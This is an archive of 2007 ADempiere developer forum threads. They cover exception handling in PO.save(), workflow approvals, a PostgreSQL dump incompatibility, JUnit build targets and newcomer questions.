Another option is to use unchecked exception instead (i.e RuntimeException), have to test though what will be the side effect. FYI, hibernate 3 is using unchecked exception

too.

Regards,
Low

2007-05-17 08:23:37 UTC

Hi,

> Another option is to use unchecked exception instead (i.e RuntimeException),

Hmmm, not sure. For example, take a look at:
org.compiere.model.ModelValidator.modelChange(PO, int) throws Exception;

Should we catch that exceptions and wrap into an unchecked exception (i.e. RuntimeException) ? What you think ?

Won't be more useful and descriptive to let modelChange implementation to decide what exception will be throw.

> have to test though what will be the side effect.

don't see any side effect, since the PO.save() will have the same functionality. I proposed introducing PO.saveEx() which will throw (more precisely will not catch) exceptions.

Best regards,
Teo Sarca

2007-05-17 08:30:59 UTC

<http://java.sun.com/developer/technicalArticles/Programming/exceptions/>

2007-05-17 08:52:20 UTC

that was a bit old, a more recent view:

<http://dev2dev.bea.com/pub/a/2006/11/effective-exceptions.html?page=1>

And the checked vs unchecked exception debate:

<http://www-128.ibm.com/developerworks/java/library/j-jtp05254.html>

<http://www.onjava.com/pub/a/onjava/2003/11/19/exceptions.html>

Regards,
Low

2007-05-17 09:59:58 UTC

Hi,

Nice articles Low... I think we don't get any benefits using checked exceptions so we can go with unchecked exceptions.

Best regards,
Teo Sarca

2007-05-17 11:43:06 UTC

Just so I am consistent :)

Spring Framework's Mission statement (<http://www.springframework.org/about>) includes "Checked exceptions are overused in Java. A framework shouldn't force you to catch exceptions you're unlikely to be able to recover from."

This philosophy combined with their extended (unchecked) exceptions to handle data access (jdbc & orm) & transactions this is yet another great benefit to spring!

I can hear all the sighs from here - lol

colin

2007-05-17 17:19:42 UTC

Just to vote +1 on new saveEx() and to preserve compatibility the old save()

There are lots of add-ons out there that currently use save() and save(trxName) methods, and is important for the project to keep compatibility with all of them.

Regards,

Carlos Ruiz

2007-05-17 17:21:46 UTC

>Just to vote +1 on new saveEx() and to preserve compatibility the old save()

>

>There are lots of add-ons out there that currently use save() and save(trxName) methods, and is important for the >project to keep compatibility with all of them.

I join Calros.

[+1] on new saveEx() and to preserve compatibility the old save()

Kind regards,
Trifon

2007-05-17 21:42:18 UTC

Ok, i added an feature request:

[1720995] Add PO.saveEx() and PO.deleteEx() methods

https://sourceforge.net/tracker/index.php?func=detail&aid=1720995&group_id=176962&atid=879335

Best regards,
Teo Sarca

2007-05-18 10:35:09 UTC

Hi Guys,

The proposal sounds great to me, and I will be more than thrilled for our team to use the SaveEx() method in the future to develop further verticals. Great Stuff

+1 for the saveEx

Regards

Frederick Tsang

2007-05-16 15:14:56 UTC

Hi,

I made a new document action workflow with an approve node (user choice). that simply ask the supervisor of the user to confirm the action. there is no transition condition. I set up the supervisor field for the user in both user and role windows. both the user and the supervisor are linked to business partners. the problem is that when i complete the document. it is completed ! Normally it should ask the supervisor to confirm and set the status to inprogress but it does not that, it finished the document without asking. The server is running.

2007-05-16 18:16:48 UTC

Hi,

maybe the 'approve own documents' flag is set for the users role. There is also a feature - implicite approval - so if the user that completes the document is responsible for the approval he doesn't need to answer explicitly.

Regards,
Karsten

2007-05-16 23:16:23 UTC

Hi,

The 'approve own documents' flag is set to false for the user role. I tried access to the system with two users one user and his supervisor but in vain. My workflow has no condition for approval i just want to approve a type of documents (completed by a user) by his supervisor.

As a try I defined an approval node in the process order and in the approval amount in the user role window i entred an amount and it works. So i think it is a question of condition !!

In my case i have no condition
Did i miss something ?

2007-05-17 10:38:15 UTC

Hmm - you could check this with a stupid always true condition `if(true==true)` - maybe it is a bug...

Regards,
Karsten

2007-05-18 00:08:46 UTC

Hi,

I resolved the problem by playing a bit in the code!!

without doing this, the Docapprove user choice action does not work if there is no value in the approval amount field in the role window for both the user and the supervisor !!! I think it would be better to change it for real common situations that require all documents of a user should be approved by his supervisor without any condition.

What do you think ????

2007-05-18 00:16:48 UTC

Hi,

>I resolved the problem by playing a bit in the code!!

>without doing this, the Docapprove user choice action does not work if there is no value in >the approval amount field in the role window for both the user and the supervisor !!! I

>think it would be better to change it for real common situations that require all documents >of a user should be approved by his supervisor without any condition.

>What do you think ????

It is possible to be a bug.

Please show what change you made into source code so we could see if it is a bug?

Kind regards,
Trifon

2007-05-18 02:22:33 UTC

Hi, Sami23

I'm also experience some problem with the workflow, when try to implement dynamic approval. I found that the workflow responsible is not working as expected, and I invent some trick which is very simple and work for me.

U can read my little how to here :

1. Simple approval

http://www.adempiere.com/wiki/index.php/How_to_Activate_Document_Approval_Workflow

2. Dynamic approval

http://www.adempiere.com/wiki/index.php/How_to_Configure_Dynamic_Approval_Workflow

Hope it's help.

Rgds.
Usman

2007-05-18 22:57:55 UTC

thanks all,
Usman , your documents are quite interesting it will save time for newbies !

Trifon,

I did some modifications but not elegant just to solve the problem but i have now a clear idea on how to do it proprely and then i can share it!

what i did is very sample :

The MMytableis new table model class implementing docaction interface.

```
if (m_process.getAD_Table_ID() == MMytable.Table_ID)
approved=true;
```

and to solve an error saying "no approval user", Just i replace nextAD_User_ID with getAD_User_ID in the condition.

```
if (getAD_User_ID() <= 0)
```

I think that's all but as i said it is not difficult to do it proprely

2007-05-16 19:28:18 UTC

Hi All,

I am doing a data migration into adempiere from another erp commercial package. I am curious if anyone would support an area for me to share this code etc... I am borrowing heavily from http://www.graysonconsulting.biz:3000/liberopgunstable/ImportBPartner_8java-source.html etc... I have not seen a formal area dealing with data migration where data is not in a csv format etc... so I thought it would be good to make one. Tell me what you think :)

2007-05-16 20:22:02 UTC

Hi William,

>I am doing a data migration into adempiere from another erp commercial package. I am curious if anyone would support >an area for me to share this code etc... I am borrowing heavily from
>http://www.graysonconsulting.biz:3000/liberopgunstable/ImportBPartner_8java-source.html etc... I have not seen a >formal area dealing with data migration where data is not in a csv format etc... so I thought it would be good to make >one. Tell me what you think :)

Sure. Any contribution and public effort is welcome.

I was trying to find wiki page which contained some information for migration from other ERP systems to Adempiere, but i didn't found it:(

I hope someone could post it.

I think that initially you could create contribution request and attach your files. After a trial period we could invite you as a developer and give you SVN access in case community give positive vote and you would like to be part of this team.

Kind regards,
Trifon

2007-05-17 01:15:18 UTC

> After a trial period we could invite you as a developer and give
> you SVN access in case community give positive vote and you would
> like to be part of this team.

Trifon, in fact this William Heath - aka Tim, aka xp_prg - is the one who contributed three very good enhancements on 2pack:

- ability to export/import workflow, dynamic validation and messages

In fact I'm wondering if Tim wants to become some sort of 2pack maintainer, given that he knows very well now how 2pack is working.

What do community think?

What does Tim think?

Regards,

Carlos Ruiz

2007-05-17 01:49:44 UTC

+1 for Tim as 2Pack Maintainer.

Tim, make is seldom use in the java universe, usually java people use ant (<http://ant.apache.org>) or maven (<http://maven.apache.org/>) instead. Of course, all major java ide hava build in support for running JUnit test.

Regards,

Low

2007-05-17 07:29:59 UTC

Hi Carlos,

>Trifon, in fact this William Heath - aka Tim, aka xp_prg - is the one who contributed three very good enhancements on >2pack:

>- ability to export/import workflow, dynamic validation and messages

>

>In fact I'm wondering if Tim wants to become some sort of 2pack maintainer, given that he knows very well now how >2pack is working.

I always like to accept new developers.

But i would like to know what William wants.

Kind regards,

Trifon

2007-05-17 18:34:11 UTC

Hi All,

I appreciate your vote of confidence in the opportunity to become the 2pack maintainer. I would accept this responsibility if I can get commit access. Not to pour cold water on 2pack but my main focus is libero and mrp. As libero is using 2pack in such an integral way I think it would make sense to be very skilled and helpful with 2pack. Does that sound good?

-Tim

P.S.

My first order of business with 2pack, libero, etc... is to build a suite of junit tests. In any case, long live Adempiere!

2007-05-17 18:39:06 UTC

Hi Tim,

>I appreciate your vote of confidence in the opportunity to become the 2pack maintainer. I would accept this >responsibility if I can get commit access. Not to pour cold water on 2pack but my main focus is libero and mrp. As >libero is using 2pack in such an integral way I think it would make sense to be very skilled and helpful with 2pack. >Does that sound good?

>My first order of business with 2pack, libero, etc... is to build a suite of junit tests. In any case, long live Adempiere!

in this case you get my positive vote:
[+1] include Tim as a Adempiere developer.

Kind regards,
Trifon

2007-05-17 18:40:42 UTC

Hi Hengsin,

I really appreciated your 2pack fix dealing with constraints/views not allowing for altering of tables! I was not saying that we should use make, just a best practice in the opensource world is to do the following when installing/configuring a package:

1. Build the package
2. Install the package
3. Test the package

I know that perl and c++ do this. It lets the user/installer know that the package has installed and is configured correctly. What do you think of this approach?

-Tim

2007-05-17 18:47:01 UTC

Hi Tim,

>I really appreciated your 2pack fix dealing with constraints/views not allowing for altering of tables! I was not >saying that we should use make, just a best practice in the opensource world is to do the following when >installing/configuring a package:

>

- >1. Build the package
- >2. Install the package
- >3. Test the package

I agree with the flow of package installation, but i'm not sure if 'make' can be used with java and ant, that's why i can't comment it. My opinion is that 'make' is not part of java world, in fact i do not remember java program working with 'make', but i'm not against as soon as it do not complicate the job of developer/administrator.

Kind regards,
Trifon

2007-05-17 18:58:25 UTC

Hi Trifon,

We somehow are getting confused on what is being said. I am not saying use make at all. Make is for c and c++. I would use ant. But I might say to have a test target in the build.xml is all.

-Tim

2007-05-17 19:01:30 UTC

Hi Tim,

>We somehow are getting confused on what is being said. I am not saying use make at all. Make is for c and c++. I would >use ant. But I might say to have a test target in the build.xml is all.

Ok. It is clear now.

I agree to include 'test' target in ant xml.

Kind regards,
Trifon

2007-05-18 01:57:38 UTC

Hi Tim, WELCOME to the developer list.
I have seen your evolution since first times on IRC "has someone seen Victor?" :-)
But I notice that finally you did your way, congratulations!!!
I think you're an example for others to follow, how to become a contributor (it will be good if you write your experience on wiki - the steps you did, etc)

I assigned you permissions to commit.
You are assigned on current and new 2pack bugs.

And you can auto-assign yourself for libero bugs (and indeed any tracker) if you want. Please let me know if you need more permissions on something.

Just some advices:

- be careful with trunk
- when in doubt, ask (forums, trackers or IRC)
- subscribe to the svn commit list - <https://lists.sourceforge.net/lists/listinfo/adempiere-cvslog>
- subscribe to the trackers list - <https://lists.sourceforge.net/lists/listinfo/adempiere-trackers>

About the "ant test target", yes I agree
I want to bring back an idea posted some time ago:
http://sourceforge.net/forum/message.php?msg_id=4051503

Regards,

Carlos Ruiz

2007-05-19 07:56:58 UTC

Hello everybody,

Just a suggestion: It might be better to use ETL (Extract, Transform, Load) softwares instead of writing Java code :-)

- Kettle (from Pentaho):
- Apatar: <http://sourceforge.net/projects/apatar/>
- JasperETL: <http://sourceforge.net/projects/jasperetl/>

Warm regards,
Bahman

2007-05-19 07:57:40 UTC

Forgot this link!
- Kettle (from Pentaho): <http://kettle.pentaho.org/>

2007-05-21 10:37:41 UTC

Hi.

```
=====> MMeasure.updateCalculatedGoals: SELECT  
COALESCE(SUM(currencyBase(invoiceOpen(C_Invoice_ID,  
C_InvoicePaySchedule_ID),C_Currency_ID, DateAcct, AD_Client_ID, AD_Org_ID)),0)  
FROM C_Invoice_v C_Invoice WHERE IsSOTrx='Y' AND Processed='Y' AND  
C_Invoice.AD_Client_ID IN(0,11) AND C_Invoice.AD_Org_ID IN(0,11,12)  
org.postgresql.util.PSQLException: ERROR: function invoiceopen(numeric, numeric)
```

not exist; State=42883; ErrorCode=0

How fix this error?

Anatoly

2007-05-21 11:30:00 UTC

Hi Anatoly,

I don't know what version of PG and PLJava you are using, but sometimes ago I had got the same problem and found out that SQLJ was not included in the database dump. After installing SQLJ there were no problems.

I'm not sure but I think this problem is solved in recent dumps.

Anyway, if you're problem is the same as mine here's a guide to installing SQLJ:http://www.adempiere.com/wiki/index.php/How_to_Run_ADempiere_on_OpenSoalris#Importing_ADempierre_database

Hope it help!

Warm regards,
Bahman

2007-05-21 13:05:56 UTC

Hi Bahman.

This error on posqtgresql-8.1.9 with std package from CentOS-5.

I will replace this package on PG-8.2.4 from postgresql.org

Maybe problem is here.

Thank you Bahman.

2007-05-21 13:25:37 UTC

Hello;

im using adempiere 3.2 , my problem is that i want to build a table, and create a window for it which have a tree view (Has Tree), everything seems nice, the problem is that there's no tree appear when i call the window, any help please?????

2007-05-17 04:22:14 UTC

Hi everyone,

is there any idea how to keep my source files updated and not lose my already modified files???

thanks.

2007-05-17 04:50:39 UTC

> is there any idea how to keep my source files updated and not lose
> my already modified files???

Yes

1 - try to keep your modifications out of core - via ModelValidator, Callouts or Model classes for your customized tables

2 - if you really NEED to modify a core class is very possible that is a missing functionality, so you can ask in forums if there is a way to integrate it in core and contribute the patch

Regards,

Carlos Ruiz

2007-05-17 05:40:02 UTC

thanks Carlos, for paying attention to my problem.

it seems to be very difficult to keep updated core classes that have been modified.
what if i backup my modified core classes before updating them, and then restore the backup'ed classes, or there is more efficient solution???

2007-05-17 06:37:07 UTC

Try reading SVN manuals - answer is there. You might find lot of information that enhances your productivity.

-kontro-

2007-05-17 16:41:58 UTC

> it seems to be very difficult to keep updated core classes that have been modified.
> what if i backup my modified core classes before updating them, and then
> restore the backup'ed classes, or there is more efficient solution???

Yep, is hard. In fact with some core classes (I keep thinking is a missing functionality that must be enhanced) you can have one class for each project (i.e. VLocationDialog) and this scenario is even worst.

I would stick with my first advice: avoid changing core classes, if a core class needs to be changed (i.e. VLocationDialog) is very possible that is due to some inflexible design and we must look how to allow more flexibility in such functionality (in fact due to the described case I have some enhancements pending of asking for vote on location dialog

class).

Regards,

Carlos Ruiz

2007-05-17 23:07:10 UTC

Hi,

Like Carlos have say, you should implement your customization without changing core classes, this usually can be achieve using callout or modelvalidator. However, if you really need changes to core classes, the best you can do is try to contribute back to Adempiere, that way you don't have to worry about your changes being overwritten when you update your source and we will thank you for your contributions :)

Regards,

Low

2007-05-18 07:08:21 UTC

well, i got the answer to my question; it's better not to modify core classes.
i'll take it into account next time.

thanks everyone for helping me to become more advanced with this thigs. :)

2007-05-18 07:09:34 UTC

and sorry for my english :)

2007-05-18 08:13:40 UTC

The higher path will be for you to publish your customisations as contributions where it is of common use for others besides yourself.

If what you contribute is accepted by the developers here, then it will automatically remain in the trunk for future versions.

2007-05-22 06:21:42 UTC

We (Assety is in my team) will gladly contribute, but now we just started to code with Adempiere, still got a lot of newbie issues :)

But if there is none "Amt in words" class for Russian language now, we'll gladly contribute it.

2007-04-09 03:32:19 UTC

Hi,

I am studying 2pack, can where find some information?

There are two pack in admpiere svn, but how to import into system, compile it and config it?

Best Regards

2007-04-09 06:05:02 UTC

Hi Noah,

> I am studying 2pack, can where find some information?

the best source for 2pack documentation is on the original author's site:

<http://www.oslabs.org/>

We keep honouring Robert Klein for his valuable contribution to open source.

> There are two pack in admpiere svn, but how to import into system,
> compile it and config it?

2pack code is integrated (and enhanced) in Adempiere core.

About the test packages in svn you can just try them importing the packages and fixing the possible bugs - i.e. good contribution to have a Fixed Assets packages tested for Adempiere.

Please let us know what you find.

Regards,

Carlos Ruiz

2007-04-09 18:33:16 UTC

Hi noah25,

I am doing the 2pack additions to allow for import/export of workflows and dynamic validation. I have successfully created a very simple 2pack package and exported/imported it. I am creating notes of what I am doing at:

<http://www.flashcardmachine.com>

login: xp_prg

password: password

Feel free to look at my flash cards. I think they will be quite educational. I describe in great detail 2pack functionality and how to do things. Feel free to add extra cards if you want :)

-Tim

2007-05-22 13:04:52 UTC

Hi Tim,

are these data still valid?

I am not able to login.

Dirk

2007-05-22 18:55:14 UTC

> Username: fred19
> Password: 12121918

Try this, they changed it for some reason. I tested it and it works.

2007-05-22 20:47:11 UTC

Hi Tim,

last weekend I also tried to read the cards, but it was not possible. With the new login/password (fred19/12121918), it worked. Perhaps you could change it in the wiki (http://www.adempiere.com/wiki/index.php/Flash_Cards_for_learning_how_to_develop_in_Adempiere). I have not done it because maybe you have another user.

Three months ago, I did not understand many questions not to speak the answers. Now I am able to understand many answers. It is helpful, and I want to congratulate you for this great contribution.

One question: is it possible to list the questions and pick one of them? The reason: if the number of cards grows substantially over the actual 60, it will be very cumbersome to step into the question you maybe are interested in.

Best Regards,
Mario Calderon

2007-05-22 21:32:40 UTC

Hi Mario Calderon,

I am glad the cards have helped! Feel free to contribute more cards as well! I changed the wiki page. I don't know why the user changed but oh well. I believe it is possible to list the cards and just pick one of them. Check with flashcardmachine.com help.

-Tim

2007-05-23 04:46:37 UTC

Hi,

I've modified java file Doc_BATransfer.java, but when i build'ed it nothing has changed:

this is the original view of some lines of Doc_BATransfer.java:

```
// Customer Prepayments
else if
(m_TransferType.equals(MBATransfer.UM_BANKTRANSFER_CustomerPrepayment))
{
fl = fact.createLine(null, getAccount(Doc.ACCTTYPE_C_Receivable, as),
getC_Currency_ID(),
getAmount(Doc.AMTTYPE_Net).negate());
if (fl != null && AD_Org_ID != 0)
fl.setAD_Org_ID(AD_Org_ID);
}

else
{
p_Error = "DocumentType unknown: " + getDocumentType();

log.log(Level.SEVERE, p_Error);
fact = null;
}
```

this is my version:

```
// Customer Prepayments
else if
(m_TransferType.equals(MBATransfer.UM_BANKTRANSFER_CustomerPrepayment))
{
fl = fact.createLine(null, getAccount(Doc.ACCTTYPE_C_Receivable, as),
getC_Currency_ID(), getAmount(Doc.AMTTYPE_Net).negate());
if (fl != null && AD_Org_ID != 0)
fl.setAD_Org_ID(AD_Org_ID);
}

else
{
```



```
System.out.println(m_TransferType);
p_Error = "DocumentType unknown: " + getDocumentType() + " " + m_TransferType;

log.log(Level.SEVERE, p_Error);
fact = null;
}
```

2007-05-23 05:11:36 UTC

Hi Assety.

What version are you using? I didn't found Doc_BATransfer.java in Compiere neither Adempiere.

Maybe you're using some compiere partner specific version? Or your own?

Bank Account Transfer is a very good document to implement, currently transfers are done in a very tricky way.

That will be a very good contribution if you have it.

BTW, Doc_ classes are run in server, so when you change any Doc_ class you must re-build and re-deploy the server to see the effects, they can't be noticed on client side.

Regards,

Carlos Ruiz

2007-05-23 05:24:10 UTC

Hi Carlos,

Doc_BATransfer.java was generated by GenerateModel class, and everything (including compilation and build process) is done on the server.

i just wanted to see what is inside m_TransferType variable,

i got an error message when trying to post document - DocumentType unknown: CMT can you tell me the ways to debug it???

thanks.

2007-05-23 09:06:28 UTC

Hi assety,

If this is a customised table, it will only generate X_BATransfer(getter/setter) class. I m not aware that GenerateModel can generate other type of classes.

Hope this helps further understanding

redl

2007-05-23 09:38:34 UTC

I'm very grateful to you Carlos and Redhuan for improving my knowledge...

2007-05-23 12:31:53 UTC

We managed to solve this problem - issue was with build process - we were executing old binaries somehow (so we hid those ones into zip file, and that worked :)

No we have next question:

We indeed work with Bank Account Transfer now (and will gladly contribute). To be correct, Sergey Vishniakov (SergeyV here) made it for us, and we are trying to make further improvements to it.

What we have know is ability to complete and post operations related with selectable bank account, which are posted to GL according to code in our Doc_BATransfer.java

What we lack now, is the ability to "Storno" - undo posted amount, if there was a human error. What is the best way to add it?

2007-05-14 08:36:51 UTC

hi all,

i have fedora core 6, Adempiere 3.20, postgres 8.1, pljava 1.3.
When i try to import Adempiere_pg.dmp i have this error:

```
ERROR: lo schema "sqlj" non esiste
psql:/opt/Adempiere/data/Adempiere_pg.dmp:8: ERROR: parameter
"standard_conforming_strings" cannot be changed
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21429: ERROR: syntax error at or near
"OWNED" at character 38
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21429: RIGA 1: ALTER SEQUENCE
jar_entry_entryid_seq OWNED BY jar_entry.entr...
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21429: ^
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21480: ERROR: syntax error at or near
"OWNED" at character 41
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21480: RIGA 1: ALTER SEQUENCE
jar_repository_jarid_seq OWNED BY jar_reposit...
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21480: ^
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21529: ERROR: syntax error at or near
"OWNED" at character 40
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21529: RIGA 1: ALTER SEQUENCE
typemap_entry_mapid_seq OWNED BY typemap_entr...
psql:/opt/Adempiere/data/Adempiere_pg.dmp:21529: ^
```

I try with ImportAdempiere.sh, psql manually, pg_restore, always the same errors.
Maybe i have to use postgresql 8.2? or not?

Thanks all

Best regards
Francesco

2007-05-14 08:59:07 UTC

Hi Francesco,

It looks to me that you haven't installed PL/Java on your system. I'd suggest the following link:

http://www.adempiere.com/wiki/index.php/Manual_postgres_setup_in_linux

Warm regards,
Bahman

2007-05-14 11:38:48 UTC

hi Bahman,

i follow that link to install pl/java and everything work well, in pgadminIII i can see pljava installed in both postgres and adempiere database. I think adempiere works well too after import, i think java procedure work as well, when i connect to adempiere as GardenWorld Admin, Dashboards are not null and they are returned from pljava procedure i think.

Please tell me other ideas.
Thanks

Best Regards
Francesco

2007-05-14 12:36:07 UTC

Francesco,

I don't have the exact clue to what's wrong with your PG but did you install SQLJ before importing the dump? I'm suspicious about this issue because
> ERROR: lo schema "sqlj" non esiste
It says sqlj doesn't exist, doesn't it?

If you need some instructions about how to install SQLJ please

see http://www.adempiere.com/wiki/index.php/How_to_Run_ADempiere_on_OpenSoalris#Importing_ADempiere_database

Warm regards,
Bahman

2007-05-14 13:19:28 UTC

Bahman, I guess it's ok that sqlj does not (anymore) exist at this time.
But what is making me wondering, is that he gets weird syntax errors.

Under normal circumstances OWNED BY expects a valid database username and not
again
the function of table or view name.

So, there must be something wrong with the adempiere user itself.
Is the user marked as Superuser?

Best regards Johannes

2007-05-14 13:33:11 UTC

Hi Johannes,

You're right! It's not related to SQLJ :-)
The error is from a ALTER SEQUENCE command. The syntax is different in PG 8.1 and
8.2:

<http://www.postgresql.org/docs/8.1/static/sql-altersequence.html>
<http://www.postgresql.org/docs/current/static/sql-altersequence.html>

8.1 doesn't support the OWNED BY clause.

I feel that it's a bug and it should be reported.

Warm regards,
Bahman

2007-05-14 14:25:12 UTC

Kinda bug yeah, I agree.
But what if we just require the user to have at least postgresql 8.2 running for adempiere?
I know, this is a bold requirement, since there are many 8.1 setups out and running.

One possible solution would be having 2 dumps, one dump created on a 8.1 server and
one on a >=8.2 server.

What do you think about it Bahman?

Best regards Johannes

2007-05-14 16:59:23 UTC

hi all,

so, simply i have to update my dbms.

I'd like to know if the Adempiere_pg.dmp is generated from Postgresql 8.2.

What do you think about this, Mr. Heng Sin?

Thanks everybody.

Best Regards

Francesco

2007-05-14 17:06:17 UTC

Hi Francesco,

Yes, the postgresql dump is generated using 8.2 . Upgrade your version to 8.2 should solve your problems. I do not have access to 8.1 database now, will have to investigate whether it is possible to generate 8.1 compatible dump using 8.2

Regards,

Low

2007-05-14 17:08:26 UTC

Hi Francesco,

the current adempiere postgresql dump is definitely generated on postgresql 8.2
So the question is what we should do for future releases.

Best regards Johannes

2007-05-14 17:24:07 UTC

RedHat EL4 and EL5 have postgresql-8.1. That should make 8.1 an important release to target. While actual EL4 and EL5 owners might opt for Oracle (if you're paying for RedHat support, you'll likely pay for DB support also - commercial postgresql support is available but less well known), Centos4 and Centos5 users will likely use postgresql.

2007-05-15 09:42:39 UTC

Hi Johannes,

I agree with the double dump solution since as Sturat pointed out we'd better support 8.1.

Warm regards,

Bahman

2007-05-15 09:44:26 UTC

By the way, aren't there any in-place workarounds, without requiring two dumps?

2007-05-15 16:08:43 UTC

I think 8.1 dump is going to load without problems in an 8.2 installation (not the opposite as noted here).

In MayDay edition I applied same logic for oracle port. Oracle seed dump was done with 9i version, so it can be loaded with 9i through 10g without problems.

Regards,

Carlos Ruiz

2007-05-23 11:30:35 UTC

Hi Carlos,

I see some other users reporting the same problem (eg. on Debian). I'd suggest a bug tracker for this issue.

Warm regards,
Bahman

2007-05-23 17:11:28 UTC

> I see some other users reporting the same problem (eg. on Debian).
> I'd suggest a bug tracker for this issue.

What I mean is, mayday postgres seed was generated with 8.2, so it can't be uploaded in 8.1 databases.

In fact Adempiere has not been tested with 8.1 as with 8.2 - so you could expect some additional errors on operation with 8.1

The good news is that postgres seed is a completely editable file, so you can find the offending line and drop the 8.2 specific syntax.

If someone volunteer to make the seed for 8.1 on next versions we could include 8.1 seeds loadable in both versions.

Regards,

Carlos Ruiz

2007-05-22 21:26:59 UTC

Hi All,

I have modified adempiere/trunk/extend/build.xml as follows:

adempiere/extend# svn diff build.xml

Index: build.xml

=====
=====

--- build.xml (revision 2467)

+++ build.xml (working copy)

@@ -24,6 +24,7 @@

<pathelement path="../base/build"/>

<pathelement path="../looks/CLooks.jar"/>

<pathelement path="../tools/lib/junit.jar"/>

+ <pathelement path="../adempiere/Adempiere/lib/Adempiere.jar" />

</path>

<target name="init" description="initialization target">

@@ -69,6 +70,32 @@

<!-- put everything from \${build.dir} into the \${jar.name}.jar file -->

<jar jarfile="\${dist.dir}/\${jar.name}.jar" basedir="\${build.dir}"/>

</target>

+

+ <path id="class.path.test">

+ <pathelement path="\${classpath}"/>

+ <pathelement path="\${jar.path}/CCTools.jar"/>

+ <pathelement path="../base/build"/>

+ <pathelement path="../looks/CLooks.jar"/>

+ <pathelement path="../tools/lib/junit.jar"/>

+ <pathelement path="../adempiere/Adempiere/lib/Adempiere.jar" />

+ <pathelement path="../adempiere/Adempiere/lib/jboss.jar" />

+ <pathelement path="../adempiere/Adempiere/lib/oracle.jar" />

+ <pathelement path="../adempiere/Adempiere/lib/postgresql.jar" />

+ <pathelement path="./Extend.jar" />

+ </path>

+

+ <target name="functionaltest" depends="dist">

+ <junit>

+ <classpath refid="class.path.test" />

+ <formatter type="brief" usefile="false" />

+ <test name="test.functional.MUserTest" />

+ <test name="test.functional.MLocationTest" />

+ <test name="test.functional.MBPartnerTest" />

+ <test name="test.functional.MBPartnerTest" />

+ <test name="test.functional.MBPartnerLocationTest" />

+ </junit>

```
+ </target>
+
```

```
<target name="clean">
@@ -77,4 +104,4 @@
<delete file="${dist.dir}/${jar.name}.jar" failonerror="false"/>
</target>
```

```
-</project>
\ No newline at end of file
+</project>
```

It is now possible to run:

```
ant functionaltest
```

to execute all tests in the test/functional directory. Do I have approval to commit these changes to the build.xml?

-Tim

P.S.

What is the formal process I should go through before committing code?

2007-05-23 02:50:45 UTC

Hi Tim,

We should use junit.framework.TestSuite instead of invoking each individual test case directly. Imagine if we have written 300 test case and calling them one by one in the ant file, it is not the right way to go.

Regards,
Low

2007-05-23 10:24:11 UTC

Hi Tim,

> I have modified adempiere/trunk/extend/build.xml as follows:

> It is now possible to run:

>

>ant functionaltest

>

>to execute all tests in the test/functional directory. Do I have approval to commit these changes to the build.xml?

Thank you! All contributions are more than welcome!

I think that as this are just test which do not change/affect Adempiere core we can use extend project for now. In future if community decide we can move to new place.

Tim, at this moment with all test you committed you are leader of test development effort. Please allow me to intrude from time to time in test you make and modify them.

I submitted small changes which i hope you would accept.

If you are subscribed for cvslog email list you can receive email on each SVN commit and be informed that change has occurred.

At this moment this is what i have done:

Added AD_Client_ID=11 to test.properties.template

We do not need to use utils classes from other projects(JasperReports).

Created org.adempiere.test.utils package and added DBUtils which has only 2 methods now used by tests.

Refactored functional tests in order to use static variables by class name not object name(changed from: someObject.STATIC_VARIABLE to: SomeClass.STATIC_VARIABLE).

This what i plan to change is:

- 1) Move from System.out.println to some logging framework(log4j, java.util.log...).
- 2) Extract repeated parts from current tests into some external class. Particularly "protected void setUp() throws Exception {"

I think that we can create some kind of JUnit extension specific for Adempiere which would allow us faster test development and lower maintenance effort. I like proposal of Carlos(sorry wiki is not responding and can't find the link to the forum post).

Kind regards,
Trifon

2007-05-23 18:32:43 UTC

That sounds good to me. I am happy to see other test cases being added. This is a best practice and will also make debugging much easier. I have a suggestion that all bugs have a test case that can reproduce the bug. That will make it easier to fix. What do you think of that idea?

-Tim

2007-05-23 18:33:50 UTC

Hi Hengsin,

I totally agree with your idea of a test suite. You have my vote (+1).

2007-05-23 23:05:38 UTC

I am running a big test and I keep getting the error:

```
java.lang.OutOfMemoryError: Java heap space
```

I tried this:

```
export ANT_OPTS=-Xmx2000m
```

This didn't help.

The output is as follows:

```
libero5_1_2007_dev:/work2/adempiere/extend# ant functionaltest  
Buildfile: build.xml
```

```
init:
```

```
[echo] ===== Build Extend
```

```
makedir:
```

```
compile:
```

```
dist:
```

```
functionaltest:
```

```
[junit] Testsuite: test.functional.BPMigrationTest
```

```
BUILD FAILED
```

```
/work2/adempiere/extend/build.xml:91: java.lang.OutOfMemoryError: Java heap space
```

```
Total time: 132 minutes 18 seconds
```

Anyone have any ideas how to fix this?

2007-05-23 23:24:24 UTC

Hi Tim,

```
>I am running a big test and I keep getting the error:  
>  
>java.lang.OutOfMemoryError: Java heap space  
>  
>I tried this:  
>  
>export ANT_OPTS=-Xmx2000m
```

Something is eating memory...

I managed to start all test from Eclipse without error.
That's why i susspect that your test has memory leak:
[junit] Testsuite: test.functional.BPMigrationTest

Kind regards,
Trifon

2007-05-24 08:15:06 UTC

Hi all,

does anybody know where to find the code(java file) of report that is used by account viewer(main menu: view >> account info) to generate account info?

thanks in advance...

2007-05-24 08:46:47 UTC

Asset,
try client sub-project
package org.compiere.acct
files AcctViewer & AcctViewerData

colin

2007-05-24 14:04:04 UTC

Well as we are talking here about the account viewer it will be great if we could print from it, just like in any other report in Adempiere, at this moment the print functionality just do a print screen.

Regards!

2007-05-24 14:27:54 UTC

[+100] for printing from account viewer!

:) Joel

2007-05-24 14:55:23 UTC

Croo, thanks for your tip.

First we want to add a column= Debit-Credit difference
than may be we can find a way to print it out with Jasper Reports?

2007-05-22 08:02:28 UTC

help plz...
couldn't find adempiere 3.2.0 manual
thank you...

2007-05-22 08:48:18 UTC

Hi Sin,
We have various manuals for users and developers all in the
wiki <http://www.adempiere.com/wiki/index.php/Manuals>

red1

2007-05-23 01:45:48 UTC

thank u red1...
i have been : <http://www.adempiere.com/wiki/index.php/Manuals>
before i post this message...
i have been searching by google too...
still... i couldn't found what i need:
"newest (adempiere 3.2.0) updated report lists and explanation"
to compare it with my existing system
so i have all courage to migrate to adempiere
without or before adding any customized reports by Jasper in the future... :-)

thank's

2007-05-23 06:15:26 UTC

Hi,

I guess the release notes will help you:
http://www.adempiere.com/wiki/index.php/Release_320

